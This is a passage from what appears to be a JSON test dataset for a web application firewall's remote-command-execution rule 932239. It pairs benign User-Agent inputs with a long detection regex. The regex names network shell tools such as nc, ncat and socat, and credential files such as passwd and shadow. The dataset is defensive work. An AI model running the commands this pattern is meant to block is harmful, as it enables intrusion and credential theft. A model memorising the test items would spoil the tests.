image)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\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\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|ftp|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:c|atch)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932239", "test_description": "True Positive Fix Test 1 ISO-8859-2, ISO-8859-3, ISO-8859-4, ISO-8859-5, ISO-8859-6, ISO-8859-7, ISO-8859-8, ISO-8859-10, ISO-8859-14, ISO-8859-15 are affected because the chars are encoded as decimal html %26%238222%3B and %26%238221%3B entities" } }, { "input": { "malicious_payload": [ { "location": "header_user-agent", "value": "Snap URL Preview Service; bot; snapchat; https://developers.snap.com/robots" } ], "attack_context": { "method": "GET", "location": [ "header_user-agent" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[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:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?t)|[\\n\\r;=`\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|io(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:t(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon[23]))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|ftp|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:c|atch)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932239", "test_description": "Negative test on known user-agent" } }, { "input": { "malicious_payload": [ { "location": "header_user-agent", "value": "Links (2.3pre1; Linux 2.6.38-8-generic x86_64; 170x48)" } ], "attack_context": { "method": "GET", "location": [ "header_user-agent" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(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s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|io(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:t(?:[\\s\\x0b&\\),<>\\|]|$